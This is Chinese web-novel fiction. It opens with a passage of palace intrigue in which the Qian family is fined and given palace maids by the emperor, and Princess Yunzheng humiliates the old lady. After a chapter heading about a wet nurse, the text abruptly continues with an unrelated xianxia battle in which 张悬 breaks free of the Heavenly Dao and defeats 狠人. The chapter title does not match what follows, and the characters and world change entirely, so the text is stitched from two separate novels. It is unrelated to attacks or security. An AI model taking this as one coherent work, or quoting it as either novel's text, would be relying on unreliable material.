钱维有些心软,但想到她惹出来的祸,又心硬了几分。 “你打死下人,诬陷锦云郡主的事,皇上都知道了。” 江淑蓉愣了一下,随后,理直气壮的反问,“那又如何?打死几个下人而已。” 每次出事,钱维都会替她收拾烂摊子,所以,她的胆子也越来越大,肆无忌惮。 钱维气笑了,这是重点吗? “重点是诬陷锦云郡主。” 江淑蓉嗤之以鼻,“她算什么东西,又不是真正的宗室女,就算是宗室女,也比不上我们钱家的圣眷。” 不得宠的公主还不如宫女呢。 钱维平时看她娇纵,只觉得可爱,可这会儿却头疼不已。 “我不怀疑圣心,但圣心瞬息万变。” 日久天长,情谊会变,人心会变。 他娘为什么要留在京城,就是为了维系这一份情谊。 “锦云郡主拍马须溜的手段,我都比不上,你更不是她的对手,以后不要再针对她了。” 江淑蓉更加不屑,“靠拍马屁上位有什么用?我们家老夫人才是皇上在意的人,实打实的几十年情谊,牢不可破。” 钱维眉头紧蹙,皇上有真情吗?或许有,但不多。 跟帝王谈感情,那是脑子有病。 “结果就是,我们钱家上交一半的家产进国库。” “而,锦云郡主得到了两座农庄。” 江淑蓉目瞪口呆,不敢置信。“不可能,这不是真的。” 钱维在江南多年,已经攒下万贯家财,这辈子都花不完。 她早就习惯了花钱如流水奢侈无度的生活。 冷不防听到上交一半,不禁心疼坏了。 钱二爷就在不远处,听到这话再也忍不住奔过来,“大哥,这是真的吗?” 钱维轻轻叹了一口气,“提前做准备吧,明镜司负责接收,别被他们抓住把柄。” 钱二爷又气又急,那也是他的钱,“要不,给九千岁收礼?” 钱维苦笑一声,“晚了,我把九千岁彻底得罪了。” 却不好说怎么得罪的,更不能说,这是皇上哄自家弟弟开心,特意将这差使交给九千岁。 钱家注定要受点磨难。 江淑蓉眉头紧蹙,“这还讲不讲理啊?不行,等老夫人醒了,让她去求求皇上,求他开恩。” “我就不信,皇上不给老夫人面子。” 钱维深深的看了她一眼,她自己没有意识到,一边的钱二爷看到了,不禁心里直打鼓。 又出了什么事? 钱维从怀里拿出一封信递给妻子,江淑蓉呆了呆,“这是谁写的?” 这是云筝出宫前给钱维的,钱维没有擅自拆开,“江闻舟的信。” 江淑蓉一想到那个被关在牢中的侄子,心口一堵,飞快的打开信封。 她的脸色变了几变,“云筝太可恶了。” “夫君,你去向皇上告状,告云筝和九千岁串通一气,敲诈勒索。” 钱维接过信看了几眼,江闻舟在信里讲述姑侄这些年的情谊,还大表忠心,说将来给她撑腰云云。 最后,写着,求姑母垂怜,花重金赎他出来。 二十万啊。 “叶宜蓁已经交了赎金获释,她损毁圣旨是大罪,没有皇上的允许,是不可能放她回家的。” 江淑蓉还没有反应过来,“什么意思?” 钱二爷神色怪怪的,“大哥,你是说皇上……” 皇上也掺了一脚?只是以云筝的名义捞钱? 钱维轻轻叹了一口气,“对,就是你想的。” 江淑蓉也反应过来了,“不会吧,皇上又不缺银子,犯不着。” 钱维心里发苦,云筝跟皇上的绑定比他想象的更深。 他越发的忌惮,“谁会嫌银子多?” 就在此时,大管家来了,“老爷,宫中来人了。” 钱维的脸色微变,“快请。” 太监带来了六个如花似玉的宫女,江淑蓉见到的第一眼,就有种不好的预感。 钱家人跪在地上听旨,太监扬声道,“奉皇上之命,将这六位宫女赐给钱大人,帮钱大人开枝散叶,望钱大人善待她们。” 如一道惊雷砸在江淑蓉头顶,她眼前一黑,大受刺激,“不!” 但她不知道的是,这只是开胃菜,还有后招呢。 第153章 疯子,踏马的疯子 这六名宫女是来分宠的,不能打,不能骂,还得好好供着。 江淑蓉要气疯了,皇上怎么能掺和进臣子的家事中? “公公,是不是弄错了?” 太监一脸的不耐烦,“没错,皇上还说,钱江氏嚣张跋扈,极为善嫉,这些年都霸着钱大人不放,让钱大人膝下荒凉,如今给你改过自新的机会,望你好自为之。” 这诛心的话刚说完,他又指着一名宫人,“这是宫中的嬷嬷,特赏给江老夫人。” 这哪是赏给老夫人,分明是来监督的。 江淑蓉不禁气急攻心,眼前一黑,晕了过去。 钱维的心情复杂到了极点,皇上还是那么小气,都不带隔夜的,当场就恶心回来。 以后,钱家就要后院不宁了。 耳边传来激动的声音,“老夫人醒了。” 钱维精神一震,快步冲进内室,“娘,您醒了,太好了。” 钱老夫人气色很差,有气无力的开口,“我没事,都去休息吧。” 钱二爷心急如焚,迫不及待的开口,“娘,家里出大事了,您快向皇上求个情。” 他简单的将事情说了一遍,换来钱老夫人的一声怒斥,“蠢货。” “皇上怎么说,我们就怎么做,还要做的漂亮,不能挑出一点毛病。” “别做手脚,别藏匿资产,任由九千岁处置。” 钱二爷很不甘心,那不是一笔小数目。“娘。” 钱老夫人无声的叹气,她压着小儿子发展,是因为他资质平平,根本不是当官的料。 “我们钱家起家靠的是忠心,能屹立不倒靠的也是忠心,只要够赤诚,皇上就不会拿我们开刀。” 钱老夫人看向钱维,“儿啊,你不要犯糊涂。” 钱维明白她的意思,“我全听娘的。” 钱二爷眉头紧皱,“娘,家里的孩子都要嫁娶了,不光是聘礼,惠儿的嫁妆也该准备起来,这银子就不够啊。” 钱老夫人摇头叹息,眼光太短浅了,钱是赚不完的,以后还怕没机会吗? “多大的能力就办多大的事,尽力而行。” 江淑蓉不知何时醒了,挤到床边,迫切的开口,“娘,皇上赐了六个宫女给夫君,您将人退回去吧。” 钱老夫人愣了一下,随后笑道,“这是帝王恩宠,是我们钱家的福气,若能生下一儿半女,我亲自去宫中报喜。” “娘。”江淑蓉气红了眼眶。 钱老夫人以静养为借口,挥退了所有人,只留下一个钱维。 钱维心中忐忑,“娘,皇上这次是真的生气了。” 钱老夫人神色平静,“发泄出来就好了,你多花点心思在那几个宫女身上,她们出身宫中,是皇上的耳目,反过来,也是我们在宫中的人脉。” 钱维被点醒了,“姜还是老的辣,儿子要向您多学学。” 钱老夫人轻拍儿子的胳膊,“好好约束江氏,不许拈酸吃醋,惹出是非。” “是。” 钱老夫人沉吟半响,“得想个办法,不动声色的将惠儿送进宫中。” 钱维眼珠一转,“不如……让皇上过来吧。” 母子俩商量了半晌,终于敲定了方案。 云筝听到宫中赐下六名宫女,笑的打跌。 皇上跟她一样小气啊。 她还听说,江淑蓉天天闹腾,跟疯了似的。 为了安抚江淑蓉,钱维掏了二十万私房钱,将江闻舟捞了出去。 钱家天天唱大戏,热闹的不得了。可惜,她没机会看到。 但,机会很快就送到她面前。 “什么?皇上让我去钱家?” 太监着急的催促,“是,郡主快点吧。” 云筝看了看身上的衣服,一袭粉色衣裙,粉粉嫩嫩,有点太家常了。 算了,不换了。 “走吧。” 云筝坐着马车赶到钱府,另一辆马车也赶了过来,时间掐的正好。 看着马车走下来的皇上,云筝扬了扬眉,看来,钱家圣眷正浓。 罚是罚过了,气出了,照样宠信。 她上前几步,扬起笑脸,“皇上,您好端端的怎么出宫了?外面不安全,您是万金之躯,不能有半点马虎。” 皇上微服出行,为什么把她带上了? 而且,就带上她一个人!这正常吗? 皇上一身常服,身后跟着几个侍卫,一行人气势不凡。 听了云筝的话,皇上心中慰帖,她性格强硬,脾气不好,但胜在忠心。 “朕自有分寸。” 明面上是这些人,暗处的侍卫数不胜数呢。 一名侍卫上前敲门,大门很快开了,门卫看到宫中令牌,顿时惊了,“宫中来人了,快去通传。” 他直接将大门打开,任由一行人长驱直入。 钱府是江南园林建筑,风景极美,皇上时不时的停下脚步,跟云筝分享景色。 云筝实在想不明白皇上的心思,索性不再多想。 “皇上,您经常来吗?” 皇上随口道,“来过两次。” 云筝笑眯眯的夸一了句,“您的记忆真好。” 皇上感慨万千,“那是,朕还记得那一棵树是朕亲手摘下的。” 云筝眼睛一亮,“钱家真会拍马屁,我得学起来。” 皇上:…… 一行人来到正堂,得到消息的钱家两子笑容满面的迎了出来。 “见过皇上,皇上圣安。” “起来吧。” 钱维起身,仰头刚想说什么,冷不防看到皇上身后的云筝,笑容凝固了。 “你怎么来了?” 皇上果然来了,但怎么把这个讨厌鬼也带来了? 他有种不好的预感,今日的计划恐怕不会那么顺利。 云筝扬了扬眉,“不欢迎?那我走。” 她扭头就走,干脆利落。 皇上的清喝声在身后响起,“回来。” “朕带来的,你们有意见?” 钱二爷吓的直摇头,钱维额头冒汗,“没没,没有,欢迎。” 钱维带着皇上进了内室,女眷都已经回避。 躺在床上病恹恹的老夫人一看到皇上,浑浊的眼睛瞬间亮了,又惊又喜。 “皇上,您怎么来了?老身已经好多了,外面不安全,您赶紧回宫吧。” 皇上上前两步,很自然的坐在榻边,笑容满面的说道,“朕听说您心情郁结,特过来看看。” 钱老夫人满脸的欢喜,“看到您来,我都好了。” 两人亲亲热热的说了一会儿,云筝冷眼旁观,特意让她过来看这个?有病吧。 皇上总算是想到她的存在,冲她招了招手,“锦云,来,见过钱老夫人,这是吾家老人。” 一句吾家老人,让钱老夫人热泪盈眶,感动不已,“皇上。” 钱维嘴角疯狂上扬,心中得意非凡。 看吧,钱家圣眷正浓。 云筝再嚣张,也得乖乖向他娘行礼。 云筝这会儿有点明白皇上的心思,却不愿如他的意。 她脚步轻盈的走过来,神色肃穆的行了一个大礼。 “见过太后娘娘,太后娘娘吉祥。” 全场鸦雀无声,静的出奇。 钱老夫人猛的捂着胸口大喘气。 钱维嘴角的笑意僵住了,目瞪口呆。 疯子,踏马的疯子! 第154章 奶娘不是娘,是奴才 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 